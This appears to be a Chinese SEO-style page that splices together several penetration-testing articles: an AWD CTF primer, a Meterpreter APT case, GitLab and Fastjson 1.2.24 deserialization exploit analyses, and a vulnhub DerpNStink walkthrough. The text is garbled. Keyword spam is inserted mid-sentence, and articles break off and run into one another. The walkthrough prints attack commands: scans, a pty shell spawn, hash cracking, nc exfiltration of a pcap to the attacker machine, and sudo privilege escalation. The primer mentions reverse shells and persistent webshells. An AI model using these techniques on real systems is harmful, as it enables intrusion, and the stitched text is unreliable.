1.CTF-AWD入门手册
2.APT案例分析:一个基于Meterpreter和Windows代理的靶机靶机攻击事件
3.Gitlab Cookie 反序列化漏洞研究
4.DVWA实战篇2分钟学会DVWA及如何安装
5.fastjson 1.2.24源码分析以及漏洞复现
6.全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(六)DerpNStink: 1从网站打到内网提权!!源码!开源
CTF-AWD入门手册
网络安全竞赛的靶机靶机赛制AWD,由实战经验丰富的源码专家构建,模拟真实网络环境,开源安卓有源码去除网络验证考验参赛者的靶机靶机攻防能力。其实战性、源码实时性和对抗性是开源核心特点。以下是靶机靶机关于AWD比赛的一些基本步骤和策略。
开始时,源码你需要连接分配的开源靶机,推荐使用xshell+xftp。靶机靶机首要任务是源码dump网站源码,以备不时之需,开源通常会用ssh工具并备份两份,一份用D盾扫描,查找可能的后门并修复。
接着,登录数据库备份数据,以防数据丢失时可以快速恢复。如果初始密码简单,要尽快修改以增强防护。聚合查询源码
关闭不必要的端口,减少潜在漏洞,同时部署WAF来分析和防御攻击。通过修改php.ini配置,自动添加文件头部保护。准备好后,可以尝试攻击他人的靶机,利用弱口令和自带后门进行查找和控制。
使用Nmap扫描存活主机,对常见的WEB攻击如文件读取、上传、命令执行和SQL注入有所了解,并编写脚本自动化提交flag。同时,注意权限维持,如使用bash反弹shell,创建不死马等,以保持长期控制。
防御方面,要关注flag的位置、检测连接和进程,使用chattr防止关键文件被修改,hsf源码解析以及通过流量监控反击攻击。记得,比赛中的知识可能不全面,期待大家的交流和分享。
总的来说,AWD赛制是CTF中的重要环节,本文提供的只是入门指南,实战中还有更多技巧和策略等待你去探索。希望这篇文章对你有所帮助,欢迎参与讨论。
APT案例分析:一个基于Meterpreter和Windows代理的攻击事件
前言
在深入研究此APT攻击案例前,需先了解测试环境。我对其进行了定制化的模拟APT攻击,发现可以上传HTTPS返回类型的Meterpreter后门至只可通过代理访问的公司Windows网络中。最初,我并未确定此情况是否存在漏洞或对APT攻击的影响。因此,我需要确保代理环境的正确性。
在详细分析后,我们使用的Meterpreter模块(windows/meterpreter/reverse_上发现,当cookies_serializer默认设置为:hybrid时,可能导致远程命令执行漏洞。iotv后台源码他提供了一个生成payload的Ruby代码示例,这让我初时有些困惑。
在尝试执行这段代码时,我遇到了问题,因为对Ruby不熟悉。尽管在Kali的irb中进行了尝试,却遭遇了错误。作者通过发送GET数据包成功执行了命令,这个过程在gitlab重新评估后价值提升到了美元。然而,我起初并不明白为何仅凭一个任意文件读取漏洞就能getshell,于是查找了作者的PDF文件和相关文章来理解。
PDF中提到,Gitlab的session cookie由客户端控制,当接收到cookie时,Rails会通过secret_token验证其合法性。恶意用户可以伪造包含序列化对象的cookie,只要能伪造签名,就能在服务器上执行任意代码。关键在于如何序列化,作者建议使用Ruby的erb模块构造。
在找不到相关文章的gnuradio模块源码情况下,我转向了Metasploit框架的源码,通过multi/.sun.rowset.JdbcRowSetImpl`来执行内部方法。由此,我们能利用Fastjson提供的便利,通过调用对应的函数来验证漏洞。
在渗透测试中,漏洞的验证通常需要满足几个条件:判断指纹和指纹回显,Fastjson的特性使得这一步变得简单。然而,在利用过程中,要考虑到Fastjson本身的限制、JDK的限制以及可能的安全配置限制。因此,POC验证方案需考虑这些限制的版本和配置。
Fastjson通过JSON抽象类实现JSONAware接口,并提供两个常用方法:`toJSONString`用于对象转换为JsonString,`parseObject`用于将JSON字符串转换为对象。这次的漏洞主要与反序列化相关。
反序列化的执行发生在`DefaultJSONParser.java`类中。关键代码中,固定键`@type`对应反序列化类的全路径,其中`typeName`为传入类的全路径。在Fastjson 1.2.版本中,`loadClass`方法未进行任何过滤,允许传入任何JVM加载的类,并执行`setKey`方法,其中Key为可变参数。
要利用这个反序列化漏洞,需要满足以下条件:JVM加载的类、有非静态set方法和传入一个参数。使用RPC远程执行代码的思路实现POC,此处使用了`com.sun.rowset.JdbcRowSetImpl`实现。
JNDI全称为Java Naming and Directory Interface,主要提供应用程序资源命名与目录服务。其底层实现之一是RMI(Remote Method Invocation),用于Java环境的远程方法调用。在`com.sun.rowset.JdbcRowSetImpl`类中,关注点在于`getDataSourceName()`和`setAutoCommit()`方法。`getDataSourceName()`用于传值,`setAutoCommit()`用于确认调用set方法。
实现过程包括引用`com.sun.rowset.JdbcRowSetImpl`类、设置`dataSourceName`传值以及通过`autoCommit`属性触发执行方法。完成方法确认后,使用`marshalsec`项目启动RMI服务并加载远程类。
POC的实现步骤如下:首先确认目标是否使用Fastjson且存在漏洞;利用Fastjson的反序列化功能传输引用类和执行方法;使用`com.sun.rowset.JdbcRowSetImpl`执行验证POC的脚本,并观察回显结果;最后,完成漏洞利用。
具体操作包括搭建环境,如使用CentOS虚拟机作为RMI服务器和远程调用服务,KALI机器作为靶机和抓包测试。进行指纹确认、安装maven、构建RMI服务器和客户端、调用测试文件,并观察DNS日志以验证漏洞成功利用。通过DNS日志确认漏洞利用成功后,可以进一步尝试反弹shell,实现远程控制。
综上所述,Fastjson的反序列化漏洞是一个可以被利用的安全问题,通过合理的利用,可以实现远程代码执行。了解和研究这类漏洞有助于增强对Fastjson以及类似技术的防御能力。
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战(六)DerpNStink: 1从网站打到内网提权!!!
推荐使用vulnhub的靶机,它们是开源的虚拟机库,可助您提升技术。在打靶过程中,请关注我的更新。靶机地址为vulnhub.com/entry/derpn...。难度中等(CTF)。这是一台基于Ubuntu的boot2root虚拟机,适用于模拟早期OSCP实验室的机器,且含一些小挑战。强调经典黑客方法,详细描述所有操作。
目标:获取所有4个标志,以达到完整root访问权限。
开始打靶,使用命令arp-scan -l扫描目标靶机的IP地址,发现与kali同一c段。使用nmap -sS -sV -T5 -A -p- ..0.进行端口扫描,发现开放、、端口。尝试通过端口访问,使用dirb爆破,发现大量目录。利用命令dirb ..0./ -w快速爆破内容。
访问端口,查看源代码以获取flag1:flag1(EAEDF6AD7D0BB8AF4F9F1AACC3F0ECBAD6E)。根据爆破结果访问后台登录页面,意外发现无需爆破密码即可登录,使用命令:python -c 'import pty; pty.spawn("/bin/bash")'获取交互式shell。进一步发现正在运行mysql,使用命令:ps aux | grep mysql确认。
在之前爆破的目录中找到mysql登录信息,登录后发现flag2和用户unclestinky的密码。使用Rockyou.txt字典破解密码,命令:echo '$P$BW6NTkFvboVVCHU2R9qmNai1WfHSC' >>/tmp/hash9.hash,执行命令解压字典文件:gzip -d /usr/share/wordlists/rockyou.txt.gz。破解后尝试登录unclestinky账户。
在home目录下找到mrderp和stinky用户名。尝试SSH登录端口,发现需要使用指纹密钥。在network-logs目录下找到一个包含管理员修改密码的对话文件,翻译得知SSH密钥路径。保存密钥并登录,解决报错后在desktop目录找到flag3。
在documents目录中发现derpissues.pcap文件,使用Wireshark分析。命令:kali上 nc -lvvp > derpissues.pcap,靶机上 nc -nv ..0. < derpissues.pcap。通过过滤找到密码derpderpderpderpderpderpderp,用于SSH登录mrderp账户。在Desktop目录中找到helpdesk.log文件,命令:cat Desktop/helpdesk.log,提示允许mrderp以root权限读写执行/home/mrderp/binaries/目录下derpy开头的文件。
使用sudo -l命令显示权限,创建目录binaries并使用echo命令创建shell文件derpy.sh,赋予最高权限后用sudo命令执行,成功获取flag4。这台靶机较为复杂,耗时两天完成,涉及多种渗透测试知识与技巧。欢迎关注,一同进步。